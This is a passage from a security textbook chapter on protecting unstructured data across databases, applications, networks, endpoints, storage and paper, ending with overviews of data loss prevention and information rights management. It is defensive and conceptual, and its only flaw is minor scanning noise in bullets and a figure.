which means it is being copied from one location to another. Or, it can be in use, in which
case the data is actively open in some application. Take for example a PDF file. It may be
stored on a USB drive, in a state of rest. The same PDF file may be copied from the USB
device, attached to an e-mail, and sent across the Internet. The PDF then moves across
many states of transit as it is copied from the USB device, to the e-mail server, and travels
along networks from inbox to inbox. Finally, a recipient of the e-mail actually opens the
PDF, at which point the unstructured data is in use—residing in memory, under the control
of an application (such as Adobe Reader), and being rendered to the user who can interact
with the information.

The goal of this chapter is to focus on the challenges of securing unstructured data in
all three of these states and to look at common technologies used to protect access to, and
control over, information. We will look at specific types of technology and examine newer
technologies, such as data loss prevention (DLP) systems, to see where the trends are going.

The Challenge of Securing Unstructured Data

To illustrate the challenge of securing unstructured data, assume your organization
has an HR application that has a database which maintains information about each
employee, including their annual wage, previous disciplinary action, and personal
data, such as home address and Social Security number. Like most modern HR
applications, it is web based, so when an authenticated user runs a report, the report is
returned from the world of the structured database into the unstructured world as it is
delivered to the web browser in HTML format. The user of the application can then
easily copy and paste this information from the web browser into an e-mail message
and forward the data onto someone else. As soon as that information is added to the
body of the e-mail, it loses all structure and association with the original application.

(continued)
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The user may also choose to copy and paste only some of the information, change
some of the information, or add new content to the original information. The person
to whom the user sends the e-mail may then copy and paste the information into a
spreadsheet alongside other data. That spreadsheet information may be used to create
a graphical representation of the information, with some of the original text used as
labels on the graph. Very quickly, information can be changed, restructured, and
stored in smaller data formats such as e-mails, documents, images, videos, and so on.
You might have a very well-defined security model controlling access to the HR
application and the database that contains the HR information. However, the
information needs to be delivered to people or applications for it to be meaningful.
If it gets delivered over a network, you can make sure that access to the network is
secure, yet when the information reaches the user, it can be transformed into a
thousand different formats and sent to dozens of other applications and networks.
Each of the locations where that information may exist can be secured, and it may
be possible to apply access controls to the file share and control access to the data
(content) repositories and the networks in which they reside; however, your
unstructured information may end up anywhere and thus it is very hard to secure.
In fact, it is hard to even locate, identify, and classify information. Once that HR data
ends up deep in an e-mail thread which accidentally gets forwarded to the wrong
audience, it no longer resembles the well-defined structure of the original data
residing in the database. It has also been duplicated several times as it has traveled
from the database to the inbox of an unauthorized user.

Unstructured data changes are constantly occurring, and data ends up in places you
don’t expect, particularly as the Internet provides an unbelievably large network of
computers that excels in the transfer of unstructured data. Enormous amounts of money
and effort have been invested in building social networking sites, file sharing and
collaboration services, and peer-to-peer applications that provide endless ways in which a
piece of unstructured data can be distributed within seconds to an audience of billions. It is
little wonder that we frequently read about examples of data loss—now that we’ve created
so many amazing ways to allow information to easily leave our protected borders, our
network controls to stop attackers from accessing our protected data are no longer
sufficient to keep it secure.

Approaches to Securing Unstructured Data

The problem of unstructured data has not gone unnoticed by the security community; we
have access to an array of technologies that are designed to provide at least partial solutions
to the problem of how to secure unstructured data. While what follows is by no means a
complete examination of all the technologies available, we will examine the most commonly
used technologies and highlight the pros and cons of each. The key areas where unstructured
data can reside can be broken down into the following categories:
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® Databases

¢ Applications
e Networks

e Computers
® Storage

¢ Physical world (printed documents)

The following sections describe techniques for security data in each of these locations.

Databases

The database is the center of the data world. The majority of information you are trying to
secure was either created and inserted into, lives in, or has been retrieved from a database.
The most secure database in the world would be one that nobody could access. It would
have no keyboard attached, no network connected, and no way to remove or add storage
devices. Some would even argue that the machine would also need to be powered off,
located in a room without doors, and be disconnected from any power source. Clearly it
would also be the world’s most useless database, as nobody would be able to actually use the
data stored on it. Therefore, for practical reasons, you have to secure the data within the
database while also allowing legitimate users and applications to access it.

The database was once considered the realm of structured data, but with new
developments in database technology, increasing amounts of unstructured data are now
stored in the database. For example, the database can be the storage component of a
content management system or an application that stores images, videos, and other
unstructured data.

Figure 8-2 shows the typical elements of a database system. In its most basic form,
the database is accessed over a network and a query is run against the database service.

Database Service

Data Processir 12 Network Data RequeSt
Network Services Database Firewall

Data storage
Schema-Tables-Columns-Records

3

Date Backups, Exports

Development/Staging Auditing/Logging

Figure 8-2 Information flows into and out of a database.
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This causes a database process to run and access the data store to retrieve the queried
data, which is then piped back over the network. The data store can also export data into
backups that are restored on development systems or staging environments. Unstructured
data can therefore reside in different areas of the database—either at rest in the schema in
the database data files, in backups, or sometimes exported to other development or
staging databases. Database security is discussed in further detail in Chapter 12; however,
in the context of unstructured data protection, we are mainly concerned with encryption,
which is discussed next.

Encrypting Unstructured Data at Rest in the Database

The most common approach to securing the data in a database is encryption (described in
further detail as a general topic in Chapter 10). Encryption of data that resides in a
database can be approached in various ways:

¢ Encryption of the actual data itself such that it is stored in normal data files in an
encrypted state. The database doesn’t necessarily know (or care) whether or how
the data is encrypted, so it passes the encrypted data to the application to decrypt.

¢ Partial encryption of the database schema so that specific rows, columns, or records
are encrypted as a function of the storage of the data. In this case the database
handles the encryption of data and performs the decryption to the application.

¢ Full encryption of the database data files such that any information that resides in
them is encrypted.

In the first scenario, the data itself is encrypted. As far as the database is concerned, it is
just storing another big chunk of data. When dealing with unstructured data, this usually
means that the files have been explicitly encrypted using some type of external technology.

The second and third scenarios are handled completely within the database platform
itself—data is encrypted at rest (and also sometimes in use as it resides in the memory of
the database processes). Oracle and Microsoft use the term “transparent data encryption”
when referring to this sort of data security because, as far as the application accessing the
data is concerned, the information is unencrypted—the encryption is transparent to the
application because the data is decrypted before the application sees it. These solutions
offer a variety of levels of confidentiality for the data they are protecting. Essentially the
goal is to allow only database or application processes to have access to the decrypted data.
Depending on the method of encryption applied, database exports and backups can be
protected without additional technology. Often, data that needs to be used in development
environments can be declassified by using data masking technologies that use scrambling
or randomization to convert real data into fake information that still has similar
characteristics to the original information.

The biggest problem with the latter two scenarios is that the unstructured data is only
secured while it resides in some part of the database files. When the data needs to be
accessed, it is delivered, usually in unencrypted form, to the querying application. At that
point it’s beyond the reach of any database encryption solution.

Implementing Controls to Restrict Access to Unstructured Data
In scenarios where the database handles encryption of data and sends the querying
applications the data automatically decrypted, controlling who or what can connect to the
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database and perform those queries becomes very important; this is where database access
controls play a key role in restricting access to data. The approaches that are used by
different databases vary, from authentication with a simple username and password to gain
access to a database schema, to a complex set of rules that define for various levels of data
classification who can access what, from where, at what time, and using what application.
Chapter 12 discusses this subject in further detail, along with other aspects of database
security. Often, as access rules become more complex, they provide opportunities and
requirements to determine increasingly complex structures of data classification and
control access to data at a granular level.

The credentials used to authenticate and provide authorization to access data can
either be stored within the database platform or reside within an external identity directory.
This enables the security of data to be associated with the enterprise directory store, thus
creating an easier method for managing the access control model by using the existing
access control infrastructure. For example, you may have in your identity directory a range
of groups with memberships that reflect access to, say, sales, engineering, and research
data. The capability to associate database permissions with such groups and have logic in
the application return certain records based on those permissions provides a very effective
means of controlling access. By simply moving a user from one group to another, you
impact the access control mechanisms in the application through to the database.

All the investment in configuring controls to restrict access to the database still relies
on trust that the process that is allowed to access the data is legitimate, or that the data
continues to be secured after it leaves the database.

Securing Data Exports

Many databases provide functionality for the mass export of data into other databases.
This presents security challenges. You may have encrypted the database files and, using

an encrypted backup platform, tied down user access from the application through to the
tables in the database, yet the owner of the schema of data may still have a range of tools
at their disposal to extract and export data en mass. This activity is often the legitimate
transfer of sets of data to other systems for development purposes. For example, suppose
an outsourcing company is working on new features in your organization’s application and
requires data to work with to test its application changes. A quick e-mail or phone call by
the outsourcing team to the application owner to request an export of a particular data set,
and, bam, in a matter of seconds, a set of your organization’s data now resides within
another system that you have little to no control over.

From an unstructured data perspective, this can be a significant problem, because the
information that resides in database files can be easily shipped from location to location.
For example, the database may well have a set of access controls that apply only to the
production instance and not other instances such as test and development. In that case, as
the data is exported to test or development, you may lose those controls. That would be
equivalent (in the flat-file world) to copying an entire file share containing hundreds of
folders, with each folder containing confidential files, to some other file share without
proper permissions. All that data suddenly becomes unprotected. Fortunately for people
concerned about the security of those files, that rarely happens. But in the real world,
database exports from one environment to another do occur frequently.
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Encryption can be applied at the export phase. This usually is a different mechanism
from that used for the encryption of data in the schema or the encryption applied to system-
wide database backups. When exporting data, it is usually possible to provide a passphrase to
use as the key for the one-time encryption of a specific data export. This allows sets of data to
be protected in transit because the encrypted export and passphrase are shared separately
when communicated to the user importing the data into their own system.

Challenges in Current Database Security Solutions

Although databases have been around since the late 1970s, they still top the list of targets
for attack. And, as noted earlier, the amount of unstructured data in the database is
constantly increasing. Why is this? Recently, developers have incorporated into database
platforms some clever features that make the storage of unstructured data more efficient.
Take for example de-duplication, a technique where multiple copies of the same document
are automatically detected and stored only once, with a reference to the original for each
copy. Consider a database that is the back-end storage for a content management system.
You may have a sales presentation uploaded by many different users, and storing 20 copies
of the same file would significantly increase storage requirements. By using de-duplication,
you could considerably reduce your storage requirements. The database may also be able to
perform data compression before the database encrypts the data at rest. So, with more
unstructured data residing in the database, the database becomes a more attractive target
for attack. Direct attacks to the database, indirect attacks via the application, loss of backup
tapes, and poorly managed exports of sensitive data are all common threats today.

The database security methods previously mentioned are all necessary to provide a
reasonable level of security while the data is resident in the database. However, at some
point the data (both structured and unstructured) has to come out of the database to be
presented to trusted applications. That’s really the whole point of a database—not to store
data forever, but to allow that data to be queried and given to other applications. Those
other applications often contain their own weaknesses and are configured and managed
differently, resulting in the potential for a lack of consistent data protection if those
applications are not properly secured. Thus, we must follow the flow of information as it
continues its journey.

Applications

Unstructured data is typically created in either of two ways: through user activity on their
workstations, or as applications access and manipulate structured data and reformat it into
a document, e-mail, or image. The number of applications is growing at an amazing rate.
With cloud development platforms, it is now a relatively trivial task to create a collection
of data from a wide variety of sources and consolidate it into a new application. For the
purpose of this chapter, our focus is on web applications. There are many other types of
applications, from a suite of Microsoft Office products to client/server applications that
do not leverage any web-based technology. However, web applications are by far the most
common network-connected application, and their client is non-specific—it’s a web
browser. As such, securing web applications is the greatest challenge. Secure application
development is discussed in more detail in Chapters 26 and 27, and controlling the
behavior of already-written applications is covered in Chapter 30.
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Application security can be categorized into the following groups:

e Application access controls that ensure an identity is authenticated and authorized
to view the protected data, to which that identity is authorized, via the application

* Network and session security to ensure the connection between the database,
application, and user is secure

¢ Auditing and logging of activity to provide reporting of valid and invalid
application activity

® Application code and configuration management that ensure code and changes to
the application configuration are secure

This list simplifies application security into some high-level concepts that allow us to
focus on the basic fundamentals of application security. Securing applications is one of the
most important ways to protect data, because applications are the interface between the
end user and the data. As a result a great deal of the security investment is devoted to the
development of the application. Some companies, such as Microsoft, have a strict software
development lifecycle (SDLC) program to ensure applications are built in a secure fashion.
This approach is often called “secure by design” because security is a key part of the
software development process rather than a set of configurations applied to the application
as an afterthought. When you purchase an application from a vendor, these aspects of
security are typically out of your control; therefore, you must choose your vendor wisely. If
your organization is developing its own applications, you must ensure that your developers
have a reasonable (and verifiable) level of knowledge about building secure applications.
Preparing for the Certified Information Systems Security Professional (CISSP) certification
exam is often a good starting point to give any developer grounding in security and the
implications to application development. Chapter 27 of this book describes secure software
development in further detail.

Application Access Controls

Once an application is deployed and running, the first event in the chain of events leading to
access of your unstructured data is when a user attempts to gain access to the application. Most
enterprise-oriented applications have the ability to integrate with existing identity management
infrastructure, which is considered a best practice. This allows users to authenticate by using
credentials that are already familiar to them. Single sign-on (SSO) mechanisms are typically
beneficial for applications because they provide usability and security and simplify password
management. Once a user has completed the authentication phase, the application must
determine what the user is authorized to do by using the access control model within the
application, which defines who can access which information or resources.

Network and Session Security

After the application has authenticated the user and knows which data the user is authorized
to access, it must deliver that information when prompted. A wide range of protocols can be
used to secure the transmission of data from the database to the application and from the
application to the end user. A common protocol for securing data transmissions is Secure
Sockets Layer/Transport Layer Security (SSL/TLS), which encrypts traffic delivered from
the server to the client. Some authentication solutions also extend the security features of
authentication to only allow certain trusted clients. This could, for instance, take the form of
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allowing access to the application only by clients using a secure VPN channel or using a
computer that has a certain security patch level and antivirus/anti-malware instance
running. All these technologies are trying to assert a level of trust for the communication
between the application and the client.

Auditing and Logging

Similar to a database, applications can also provide a variety of options for auditing and
logging. This may take place in the code within the application itself, or the application
web server may provide prebuilt auditing functionality that is available to the application.
Again, as with a database, the audit data itself needs to be secured, as the information
being recorded may also be regarded as sensitive. Security is not limited to protecting
the confidentiality of audit data, though; it extends to protection of audit data from
unauthorized changes—that is, ensuring data integrity. Someone who attacks a system
will often attempt to hide their tracks, and being able to manipulate the audit files is
often a very effective way to remove any evidence of an attack.

Application Code and Configuration Management

It is important to ensure that code and application configuration changes preserve the
security controls and settings and don’t introduce new vulnerabilities, a configuration
management system can be used. Configuration management systems provide a repository
for storing previous versions of software, as well as controls for the workflow of reviews and
approvals needed to enforce compliance with an organization’s security policies.

Many large applications can also be configured to work with governance, risk
management, and compliance (GRC) software that has fine-grained knowledge of the
application assets as well as the policies the organization wishes to comply with, providing
reporting that verifies compliance with policy. A good example of a GRC solution in action
is ensuring that a doctor who is permitted to prescribe drugs doesn’t also have the ability to
dispense them (separation of duties). GRC solutions are embedded tightly with applications
and can also work alongside identity management solutions.

Challenges in Current Application Security Solutions

Applications are among the biggest generators of unstructured content, and the
aforementioned security mechanisms highlight the need for a sufficient level of security
to ensure that only authorized users are able to access an application, pursuant to the
principle of least privilege. Securing this trusted connection ensures that content is
delivered to the end user confidentially.

Application security is the most mature and robust area of data security, because it’s
been around longer and has received more attention than other areas such as networks
and computers. The big application vendors who create the sort of software that runs many
large corporations have invested significant time and effort to secure these applications.
Large consulting firms have been built on their expertise in deploying these applications in
secure configurations, and the applications are surrounded by technologies that secure the
communication of information into and out of the application. Yet in the same manner
that a database has to move information from its secured world and give it to a trusted
application, the application must secure access to, and the transmission of, data to the end
user. A user may well be using the correct authentication credentials and accessing from a
secure network, and may only be given data that is relevant to their role, but ultimately they
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are getting access to information that, with today’s browser-based web applications, they can
very easily remove from the secure confines of the application into the totally unknown and
unprotected world of unstructured content.

This is why organizations continue to experience data loss. Security may be implemented
at the application level, yet once the information goes beyond the application, there is little
or no control over it. As soon as the data is copied beyond your controlled network, you lose
the ability to protect the information.

Networks

Data moves from the protected realm of the database into the application and on to the end
user. Sometimes this communication occurs via a local process, but often the application
and database reside on different servers connected via a network. The end users are rarely
on the same computer that the application and server reside on. Therefore, the security of
the network itself is another area that we must examine. However, because several other
chapters of this book focus on the subject of network security, the scope of this section is
limited to mentioning some of the technologies designed to secure unstructured data on
the network. These technologies are discussed in more depth in other chapters.

Network security technologies have developed into complex systems that are able to
analyze traffic and detect threats. Network intrusion prevention systems (NIPSs; see
Chapter 18) actively monitor the network for malicious activity and, upon detection,
prevent intrusion into the network. Malware protection technologies prevent Trojans
from deploying and planting back doors on your trusted network clients. The newest
polymorphic advanced persistent threats (APTs), which steal data, provide back doors to
attackers, and cause denial of service (DoS) attempts, can be blocked using solutions that
detect illegitimate traffic and deny it.

All of the network security techniques described in Part IV of this book can be used to
secure network communications. However, network security solutions are not able to protect
information that has already left the network; they can only detect the unauthorized
transmission of data and deny it from going any further.

Challenges in Current Network Security Solutions

Again, as with application security for unstructured data, the biggest challenge with
network security for unstructured data is that once a trusted user or client is connected to
the network, the network will freely pass to that user or client any information they are
authorized to access. You might be using advanced techniques to monitor traffic flows, but
to enable business, you still need to allow information to flow. For example, suppose you
need to secure information in collaboration with a new business partner. Suppose further
that you’ve created a secure network between the two businesses and integrated it with the
identity management systems to only authenticate legitimate users at the partner business
to access your networked applications. Over this network will flow many pieces of valuable
information, securely. However, when that information reaches the partner, it will no
longer be bound within your nicely secured network and may exist in the clear, meaning it
can be easily lost or misused. If something goes wrong, such as loss of data, you may have
nothing but audit records showing who from the partner business accessed that data. Those
may be useful in figuring out what went wrong, but any measures you take in response will
always be reactive, after the damage has already been done.
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Two growing trends in the modern business environment are to move to cloud-based
services and to expand external collaboration in the form of outsourcing, partner alliances,
and increased customer access to company information. This has resulted in the creation
of various methods for connecting your corporate network to several sources, further
complicating the problem of security. Data flows across networks to the application and
from the application over the network to the database. Network security solutions should
be used to provide the best possible protection to this data.

Computers

Once a legitimate user has securely connected across the network to the application to
access data residing in the database, the information is ultimately presented in a web
page that is rendered by a web browser. From there, the user can move the data to an
unstructured and unprotected location, such as a PDF file or an Excel spreadsheet, and
then download and store the data on the local drive of a desktop workstation. Therefore,
the security on the computer from which the user interacts with the application and
resulting unstructured content becomes critical. Essentially, the computer is the front line
in the battleground of information security today.

Servers are usually limited in number and physically under your control, or at least under
the control of your cloud services provider. Networks and their gateways are also limited in
number and usually within your control. But end-user computers may number in the
hundreds or thousands and may often be beyond your security control. Furthermore, those
computers may be running a large number of platforms, a wide variety of OS versions, and a
wide variety of software, and may be used by a wide variety of people. Everything we do with
information happens on the computer, which means the security of that computer is critical
to the ongoing security of your information. Within the context of the security of unstructured
content on computers, we will focus on only a few areas:

¢ Ensuring that only legitimate users can access the computer (identity access
control)

¢ Controlling the flow of information over network interfaces and other information
connection points (USB, DVD, etc.)

¢ Securing data residing at rest on the computer

Identity Access Control

All operating systems have some form of user access control. The most basic (and common)
form is a username and password combination that is validated against a local identity store.
Successfully authenticated users are then granted a session to the system, which then manages
access to resources, typically by using an access control list (ACL). In business environments,
computers under the control of the organization are configured to authenticate and grant
sessions to users whose identities are stored in a centralized identity management system.
The most prevalent identity management system is Microsoft Active Directory, which natively
manages access to Windows clients but is also often extended to the management of Unix-
based workstations. (Access control is covered in further detail in Chapter 7.)
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It is this identity that is associated with any unstructured data on the system. Unfortunately,
once a piece of unstructured data resides on a computer, any security mechanism that controls
access to it on the system is longer effective. Thus, the identity that is used in the computer
access may have little effect on the actual access controls to local content. Some technologies are
able to shrink the access control layer to the content itself, and that is the subject of the
following chapter.

Controlling the Flow of Data over Networks and Connected Devices
Once a user is authenticated and provided with a session, they are able to proceed to access
the network, read data on the local hard disk, and connect USB and other storage devices
and transfer data to and from the computer. Privileges to perform these actions are
implemented by the local computer, which in turn, with technologies like Active Directory,
conforms to a central policy that defines what users are able to do on their desktops.

From the unstructured data perspective, all these connections are simply pipes through
which information can travel, from one to the next. Each pipe may have its own security
model, but each model applies security to the unstructured data only while it travels
through the associated pipe.

Securing Data at Rest

Once they are logged in to a computer, most users in organizational environments start
working with data that is often stored locally on the host device. It might, for example, take
the form of a Word document saved from an e-mail to the desktop; or it might be a PDF file
cached by your browser as it displays it from a web page. Even smartphones are computers
that are able to store massive amounts of data and run business software that allows the use
of unstructured data. Security for storage devices, as described in Chapter 11, becomes
important at this stage.

Challenges in Current Computer Security Solutions
Computers represent the interaction of humans and computers. Much effort goes into
creating a level of trust between the person and the computer. Usernames, passwords, security
token keys, smart cards, fingerprint scanners, various biometric devices, and other mechanisms
all attempt to ensure the computer knows that the person is who they claim to be. Yet once this
trust has been established, information is allowed to flow freely. This trust in the human at the
keyboard often fails. Humans send e-mails by accident, lose USB keys, print confidential
information and leave it lying around, and sometimes even steal data intentionally.
Consistently securing information in use on computers is one of the biggest challenges
facing the information security community today. Yet the computer is the perfect place to
start educating the end user on the importance of security. There are mature solutions for
different aspects of computer security. Anti-malware technologies have been on the market
for over a decade, and storage encryption is in a fairly well-defined space. The challenge is
to integrate the various endpoint technologies to accurately support your security policies.

Storage (Local, Removable, or Networked)

Once on the computer, information either exists in a dynamic state, in the memory of a
running process (for example, with a web browser or software application), or is stored in
an unstructured form on the hard disk or a removable drive (for example, in a file located
in a local folder).
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Storage is one of the most effective areas of unstructured data security and is often the
one which receives the most attention after a data loss incident. Storage security solutions
mainly deal with data at rest, but sometimes stored data exists in another state, either in
transit or in use. An example of this is the contents of a PDF file that is stored in RAM and
paged to the disk by the operating system. Is this data at rest or in use? (An interesting
court case that hinged on the distinction between “at rest” and “in use” was mentioned in
Chapter 3.) Typically, storage security solutions focus on encryption or access control.
These subjects are covered in more detail in Chapter 7, but let’s consider the strengths and
weaknesses of encryption (detailed in Chapter 10) further before we move on.

Encryption of Storage

The most common “go to” security tactic for anyone who has suffered a data breach, failed
an audit, or just wants to be proactive is to “encrypt everything” because that seems to be
the easiest and most comprehensive approach. This is mainly because databases, network
storage, content management systems, and computers ultimately end up storing data on
storage devices like hard disk arrays or USB flash memory, so encrypting these locations is
an obvious solution. Methods of encryption on storage devices fall into two categories:

¢ Disk encryption (either hardware based or software based)

¢ File-system encryption

Disk Encryption Hardware disk encryption is totally transparent to the operating system
and, therefore, to applications and users on the computer. This means storing a piece of
unstructured data on the disk is simple and requires no change to the operating system, the
application, or the content format.

Some form of authentication must take place before any data on the drive can be
decrypted and read. When full disk encryption is performed using software, the operating
system must have some form of unencrypted partition from which to boot and in turn
authenticate the system to gain access to the cryptographic keys to decrypt the main
encrypted disks.

Both hardware and software methods provide the encryption of data as it is written to
disk across the entire disk. The methods are totally transparent to the processes (other
than, of course, those in the operating system that may be managing the encryption/
decryption), and as data is read from disk, it is seen by applications in its decrypted state.
One downside of hardware-based disk encryption is that the management of the
cryptographic keys can be difficult.

File-System Encryption Another method of encrypting data at rest is to implement the
functionality in the file system itself. This means that the methods may vary depending on
the operating system in use. Typically, the main difference is that file and folder encryption
only secures files and folders, not the metadata. In other words, an unauthorized person is
able to list the files, view the filenames, and see the user and group ownerships, but they
cannot actually access the files themselves without the cryptographic keys. (An exception is
the ZFS file system, which does encrypt metadata.)
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File-system encryption, like disk encryption, only applies when the content resides in a
location that is encrypted. If the data is moved from the encrypted disk to a disk that’s
unencrypted, it is no longer protected.

Challenges in Current Storage Security Solutions

Storage encryption and access controls are common in many organizations, yet occurrences
of data loss continue to increase, even from environments that have these types of solutions.
As mentioned, encryption only works at the source.

Storage access controls are clearly necessary. You need a level of control over users’
access to information on local computers or networked file shares. However, the limitations
of these access controls are very quickly reached. Imagine the simple scenario of two folders
on a network file share, “All Company - Public” and “Confidential - Engineering.” You may
have defined a tight set of engineering groups who have access to the latter, while allowing
anyone in the company, maybe even outsiders, to access the former. It only takes the single
act of a trusted engineer to accidentally store a few confidential documents in the “All
Company - Public” folder to render the access controls for that information completely
ineffective. Location-based access controls like this only provide control for the location
where the information resides; information moves everywhere, but the security defined at
the location does not travel with it.

Data Printed into the Physical World

A'lot of time and effort is devoted to finding solutions for securing unstructured data in
the digital world; however, data loss incidents due to the loss or inappropriate disposal of
paper documents must also be considered—that is, finding solutions for how to secure
information in the hardcopy world. Considering data in paper form as unstructured
content is also another way to visualize how structured data can easily pass into the
unstructured world. You print it out.

Encryption typically doesn’t help when printing information because the information
needs to be readable to humans. Instead, methods such as watermarks and redaction are
used. Watermarks leave identifying data (like a background image or word) in the printed
copies in an attempt to alert users to the importance of the information and try to reduce
the chances they are negligent with the data. Redaction is the process of editing or
blacking out certain text in a document such that certain sensitive parts of a document are
not visible. Redaction often applies to the visibility of both the digital document and the
resulting printed version. Risks are introduced when information is not redacted sufficiently,
or the wrong data is redacted. For example, the U.S. Transportation Security Administration
(TSA) in 2009 posted a PDF online that had been redacted in an ineffective way such that the
blacked-out areas could be easily viewed simply by copying the content and pasting it into
another document.

The computer industry has been promising the paperless office for many years, and
although we collectively generate a great deal less paper than we used to, paper has
definitely not gone away. Many data breach incidents are the result of poor disposal of
physical paper records.

Physically printed copies of documents can pose risks just as great as those posed by
their digital counterparts. A user could print a spreadsheet and send it via fax or mail to
an unauthorized party. No information security technology that exists in the digital
domain is ever going to detect, secure, and control access to the information when it is
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printed on paper. You can identify every single place that digital information is going to
live and encrypt those locations, but that encryption has no effect on a paper-based copy.
Thus, the best practices for handling printed documents are limited to restriction of the
contents printed, along with reliance on human vigilance.

Before being printed, all confidential documents should have any non-essential contents
hidden or deleted, so unnecessary confidential information is not included in the printout.

All printed confidential documents should have a front cover page, so their contents
are not visible from a casual glance. Also ensure that all pages have page numbers (so any
missing pages can be detected) and watermarks along with headers and footers identifying
the confidentiality level of the document.

Each copy of an entire document should be labeled, to aid in tracking each copy. And
confidential printouts should never be taken home, to a restaurant or any public place, or
anywhere outside of the controlled environment they’re meant to be in.

Confidential documents should be printed to a private printer, whenever possible, instead
of to shared printers located in common areas. When this is not possible, the person who
prints the material should go directly to the printer, watch it print, and collect the output
immediately. Confidential documents should never be left unattended, even for a short time.

All paper documents containing confidential information should be locked in a
secured container such as a desk drawer or file cabinet. They should never be left sitting on
top of a desk, even for a short time.

When no longer needed, documents should be immediately shredded or placed in a
secure container for a shredding service to destroy. The quality of shredding is important—
older “strip shredders” that simply cut pages into individual strips are surprisingly easy to put
back together. Crosscut shredders cut in more than one direction, resulting in diamond-
shaped pieces that are much more difficult to reconstruct.

The Handbook for Safeguarding Sensitive Personally Identifiable Information published by the
U.S. Department of Homeland Security provides some further guidelines for secure handling
of hardcopy:

® When faxing data, make the recipient aware that a fax is about to be sent, so the
recipient will be aware that they need to go collect the fax right away.

* When sending mail, verify that the correct recipient received the delivery. Also
make sure the envelope is opaque so the contents inside are not visible. Use
tracking information to see where the delivery goes, via a delivery service that
provides Return Receipt, Certified or Registered mail, or a tracking service.

Finally, and as always, common sense should be used by the people who handle paper
copies of documents, because so much of document security is dependent on human
behaviors. People handing out confidential documents need to make sure they know who
they are giving copies to, and keep track of those copies. They should also be responsible
for collecting and destroying those copies when done. A good example is a handout used in
a meeting as a reference. After the meeting is concluded, the meeting organizer should
make sure to take back the handouts, and remind everyone about their confidentiality.
How do you enforce good behaviors like this? The best way is to ingrain the desired
behaviors in the overall culture of the environment, through consistent messaging and
repetition via a security awareness program (as was discussed further in Chapter 5).
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Newer Approaches to Securing Unstructured Data

The previous sections of this chapter described various techniques for securing unstructured
data in individual environments, which may be thought of as “point solutions.” These
techniques emerged from security requirements of individual use cases, and each is focused
on the capabilities and limitations of the environment to which it pertains. Newer approaches
to unstructured data security are broader in scope, more data-centric, and less platform-
dependent. The following sections describe these newer approaches, and how they can be
used to complement the security capabilities mentioned above.

Data Loss Prevention (DLP)

Data loss prevention (DLP) refers to a relatively new group of technologies designed to monitor,
discover, and protect data. You might also hear this technology referred to as data leak
prevention—and sometimes it’s also referred to with the word protection instead of prevention.
In any case, DLP is like a “firewall for your data.” There is a wide variety of DLP solutions on
the market, which typically can be broken down into three types:

e Network DLP Usually a network appliance that acts as a gateway between major
network perimeters (most commonly between your corporate network and the
Internet). Network DLP monitors traffic that passes through the gateway in an
attempt to detect sensitive data and do something about it, typically block it from
leaving the network.

¢ Storage DLP Software running either on an appliance or directly on the file
server, performing the same functions as network DLP. Storage DLP scans storage
systems looking for sensitive data. When found, it can delete it, move it to
quarantine, or simply notify an administrator.

* Endpoint DLP  Software running on endpoint systems that monitors operating
system activity and applications, watching memory and network traffic to detect
inappropriate use of sensitive information.

Network, storage, and endpoint DLP are often used together as part of a comprehensive
DLP solution to meet some or all of the following objectives:

* Monitoring Passive monitoring and reporting of network traffic and other
information communication channels such as file copies to attached storage

* Discovery Scanning local or remote data storage and classifying information in
data repositories or on endpoints

e Capture Storage of reconstructed network sessions for later analysis and
classification/policy refinement

¢ Prevention/blocking Prevention of data transfers based on information from the
monitoring and discovery components, either by interrupting a network session or
by interacting with a computer via local agents to stop the flow of information

DLP solutions may comprise a mixture of the above, and almost all DLP solutions
leverage some form of centralized server where policies are configured to define what data
should be protected and how.
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Challenges in DLP Solutions

If the DLP solution isn’t monitoring a particular storage device or network segment, or if a
particular file doesn’t have the right policy associated with it, then the DLP solution cannot
enforce the right level of protection. This means that every network segment, file server,
content management system, and backup system must be covered by a component of the
DLP technology along with proper classification of all documents critical to its success.
Proper configuration of the DLP environment and policies is a big task, and overlooking
one (or more) aspects can undermine the whole system.

DLP only makes point-in-time decisions. Consider, for example, a DLP policy that allows
users to send confidential data to a trusted partner. Six months later the organization decides
this partner is too expensive, and sets up an agreement with another, cheaper partner.
You then reconfigure the DLP policy to reflect this change in the business relationship,
but the DLP solution has no ability to affect all the information that has flowed to the old
partner. Data may now reside with a partner who will soon be signing an agreement with
your competitor.

The way in which a DLP solution deals with policy violations has limitations. Prevention
is part of its name, and for good reason—when a user is copying a file or e-mail, the DLP
solution prevents copying of information that it deems illegitimate. This may initially seem
like a good outcome, but what if your CEO is giving an important presentation and wants to
copy a file to an unencrypted USB stick to share a marketing presentation with the board of
directors? DLP might block that. What if you want to e-mail an important document to your
home e-mail address to work on over the weekend? Nope, DLP blocks it and informs the IT
security group. While DLP has many advantages, it may impact business processes and
productivity if all possible scenarios are not considered.

DLP is also capable of generating a certain number of false positives (and false
negatives), which makes fully implementing all blocking/prevention components a risky
exercise. Even when the accuracy of policy enforcement is very high, organizations often
find the disruption to business so high that they prefer a monitoring-only implementation.

Despite these problems, DLP is still an excellent tool for hunting down and monitoring
the movement of sensitive data. It can provide very valuable insight into the information
flows within the network and, at a minimum, can highlight where illegitimate activity takes
place or where sensitive information is stored in open file shares. The reports from DLP
network monitoring and discovery components provide a useful feedback loop: identifying
compliance “hot spots” and poor working practices, mapping the proliferation of sensitive
content throughout (and beyond) your enterprise, and enabling organizations to tune
their existing access control systems. But keep in mind that you will need to add additional
trained staff to reap all of the benefits of the DLP solution. A significant increase in
workload is required to examine and act on all the alerts coming from the DLP solution,
including false alerts.

Information Rights Management (IRM)

Information rights management (IRM) is a relatively new technology that builds protection
directly into the data files, regardless of where they are stored and where they are transmitted
and used. IRM evolved from digital rights management (DRM), which is used in the
entertainment industry to protect music and movies and apply protection to all kinds of data.
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IRM uses a combination of encryption and access controls to allow authorized users to open
files, and to block unauthorized users. With IRM, files are encrypted using strong encryption
techniques. When a request is made to open the file and decrypt the data, software is
required to check with a central authentication server (usually somewhere on the Internet)
and, via a reliable handshake mechanism, determine whether the requesting user is allowed
to unlock the data.

IRM solutions go even further than providing access to the data; they control the ability
to copy, paste, modify, forward, print, or perform any other function that a typical end user
would want to perform. This provides a granular level of control over files that can’t be
provided by any other single security technology. Thus, IRM can be a valuable tool in the
security toolbox. Continue to the next chapter to learn much more about this promising
technology.

Summary

As defined in this chapter, unstructured data is any collection of electronic information
that does not follow a strict format (and therefore lacks any inherent security controls).
Unstructured data by itself is wide open and unprotected. This data may reside in
databases, applications, networks, computers, storage, and even the physical world. And,
it is growing at a pace faster than that of structured data, which typically has inherent
security controls.

